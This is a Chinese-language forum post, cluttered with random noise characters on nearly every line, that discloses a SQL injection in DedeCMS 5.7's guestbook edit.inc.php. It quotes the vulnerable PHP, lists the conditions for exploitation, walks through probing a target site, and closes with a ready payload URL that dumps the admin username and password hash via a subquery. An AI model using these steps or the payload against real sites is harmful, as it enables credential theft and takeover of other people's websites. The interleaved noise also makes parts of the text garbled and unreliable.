影响版本为5.7 b, g; T8 o; U p' g9 m4 H8 {
% w6 Y) d& m% s6 Q% ?* X5 R5 ?2 o
漏洞文件edit.inc.php具体代码:6 W& o& ^: W+ x q3 a, `
, z% Y3 ?# o+ H< ?php ; i- n$ S8 A5 W6 g) v/ k2 @
A$ @+ H/ g- u8 L1 ^; ?if(!defined('DEDEINC')) exit('Request Error!');
# g$ t. w) `. Q6 U& g: K8 g; ^& }3 F( f% w5 {& f9 O j) l
$ P& H" ~* I5 d
/ ^$ X) z3 H: l! Q' cif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
3 c) z% D# M4 O' i9 @! k; A3 E" Z
else $GUEST_BOOK_POS = "guestbook.php"; ; J" u$ N( @ T2 U3 W! s& C
# w* e; b4 X" M' h, S" c
5 T: Z/ Z/ A0 M. `7 [# o
6 T( R9 X) }& r) T3 a+ l3 _$ ?- I0 E$id = intval($id);
1 V$ M+ i+ q/ s: l; ?1 { @, c# ^1 y, j* D
if(empty($job)) $job='view';
4 { P& Q! Y, C, A1 t7 i! x" m& j! }
, |# S/ ]% V, u2 h
! X" o( @ B4 H* I' {, G3 L/ o
if($job=='del' && $g_isadmin)
1 J- U) J- d- w( a
8 H( m9 G5 X, l2 }9 `( i{
+ M6 t/ \0 r& d0 _; s9 I+ L
4 Q/ q9 c$ Z! C g' a" x) v$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
2 @' A+ \( S5 i% p5 `
' d# [0 j! h9 P) P7 O" eShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); # _8 i+ g3 g0 w- b% S
% V7 A' I4 Y: ?7 @7 c0 e4 p" V P J' texit(); & r( H* l. f, v# Z" f2 T# L
6 R& w9 B% s& d8 B! J6 `/ x9 C
}
* ]6 @( ?+ s. J5 a* X9 m6 V4 @6 R0 F
* e7 ]. h2 ?$ O9 helse if($job=='check' && $g_isadmin) ( m, F1 G; U* S
% ^6 u2 Y9 Z; p1 H1 Z; z# }{ - [% w9 ~0 C( ~0 Z% i# d9 a/ |6 t* {
, G# `0 ~7 v4 x( p& u1 ?) t$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); % m0 ?& Y3 f2 G+ S! Z
' A& L3 G- b/ h7 u' G3 gShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); . D1 R% s6 q! F; y3 ~! s
, V* B* J0 j- P* G6 A3 M( A, Cexit(); * `! Q5 Z) U6 S6 Q* G) D
; h9 ~, R; o) T( U6 Y5 P$ C7 y( ~} 5 s% `2 |. M: w6 ]
( Y" S' [' x7 L! {% X" B, G q& i( v
else if($job=='editok') 9 y1 Y; ~5 t/ A9 e" o
: i; _& v8 ]" R" m: J& J{
9 {6 l! g1 `; x( M* |+ m. s/ R8 H9 T; s5 S1 x2 P
$remsg = trim($remsg); ' \" \# {; y8 b: `; e- `
4 Q- q5 ]0 K! W3 [' f; G* O# sif($remsg!='')
! z6 {. N. C+ y6 X) I6 J" h: @6 q
$ B. D$ a+ G9 Z# D{
( ^% J5 ~) Y' S1 t/ ^
! M: D2 ^# y% ]' h& T0 W//管理员回复不过滤HTML By:Errorera blog:errs.cc 9 m4 P/ ?5 n' F5 F o5 A$ t
* m* R* n% t% rif($g_isadmin)
% ~0 p7 a4 r1 J5 x+ r& o4 s# r) {0 U/ x# O0 D
{
+ M" C+ Z% C4 B+ i1 Y! I& }$ q0 p1 u& d" }9 Z- r
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; " g3 @( \0 k$ @. l$ c1 i
1 U, }; F3 f& w) q5 T2 p3 N3 ^ @/ ^9 e5 X
//$remsg <br /><font color=red>管理员回复:</font> }
0 o/ e0 y1 @2 ]- K, F7 P, S$ w3 `
1 [; e z% Z9 }) uelse
6 n, t( @- L3 j2 F7 P6 R( J4 }$ a( ~% [' Z" O& @( G( L
{
# ]( _8 U/ m% f W
% Q1 C2 Y! S* ~# ^& B) E$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); " s: ]4 q2 Q% S2 S5 L; q- r) h, _
5 m$ H" R+ ^0 U- O/ T- |; d* E
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; & `! s6 u6 V. w. a# J9 s3 Y
4 H+ i6 ]: t/ {4 i `: g$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
, R9 Y5 d+ o, q( \9 Q; H W
) g x' n, t9 {. A% _9 B0 O+ `9 g5 V$msg = $oldmsg.$remsg;
' F4 P: T0 t1 u2 Z6 E( ?8 C
7 ~6 E- S, x; c7 I. i}
" C7 B6 t8 k5 r$ d# q, j7 Q6 m; F
} ( w: ]& a( l, Z9 s& B& `
% t* q( l2 y' a
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
. u3 P7 Q- J |9 M# a" g P1 S
, l9 E! l/ S0 B6 E$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
3 I( o/ P9 e) R1 X: c! H4 x0 ^ t* y$ w
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
& l" Y% G, j* F3 T2 W! l3 J9 { g- o7 o% x) J$ P- R+ G1 j" U6 s% M' F
exit(); ( j4 o& x: j, r7 y! M
6 ]! x3 B# z+ a- ^}
& t# _; ^! }, ]: ~1 R4 w+ _: A2 B! n4 _6 x; G9 o
//home:www.errs.cc
. \! \, a/ T2 M7 l! L% m# i
9 m$ w7 l3 W0 f' p W2 ?if($g_isadmin) 3 N; C; y) n9 G
1 L( u8 _# x) S# E& l
{ . ]' l$ o& b, _' w. ?+ {
2 S4 r- R8 s4 Z+ G' s2 s
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
3 N+ k) S9 c% W7 S% L
. s6 q, W' y1 N) Zrequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
4 A6 e' `* X7 o1 I9 k( M2 l. i1 K" [& G8 j8 U
} 6 }& {+ z. v( n6 q6 W
- b1 Y6 C, E5 y2 A2 welse U/ L! a* R: K& s1 C
' `! R; ]9 n/ N, U3 v{
~" J& x; [. f1 Z: I
1 W/ l0 ?: v! q7 { c$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
# q5 a5 { p1 \5 N! g/ A8 s8 S" _4 @4 t5 b4 K' R- @+ n6 L
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
4 F# M& c3 `. @+ O2 I+ [% m6 \: r7 K" k, t
} 漏洞成功需要条件:/ o* _* z1 J4 C, |( z
1. php magic_quotes_gpc=off
9 R" U4 e" v$ n" Y- P" f2 C5 ^2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。7 y8 b$ G" p' j6 M" r
3 i" G* q- A! P4 t
怎么判断是否存在漏洞:
6 e7 c% n6 ^% p先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
. B$ b' {; B% J9 P. e4 U$ c$ o% _然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
" X$ ]) d8 B! Y. j6 C1 k4 w9 H( p' x访问:
' _1 B# k5 _1 Z3 F$ n6 S9 S. W2 R
' `$ [% H# f. M- G: P8 Iwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
* r1 m6 G" g( T& F% o跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
9 W g: V3 z. [% ~. v( e2 K. F- p a, e) ^! H
$ D' Z3 M6 O0 q
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
# x# b9 ^' J9 L; T1 P& @如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。5 z3 W/ \& Q1 d% \& O& i
那么再次访问
& Z( F @+ N* c5 s3 j0 t
9 Q3 X2 r5 u2 x: _) ]1 qwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().( u' T5 p& v0 U2 ^7 y( H
{' h1 a& D% d* l; y" g' g
大概利用就是这样,大家有兴趣的多研究下!!: W2 X0 K9 u( j6 ]; u
$ j% Q {) h' S; k7 m/ t最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!* w' G: h$ A0 `# q3 C
& ]2 t# a7 L8 X; y) J4 o
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |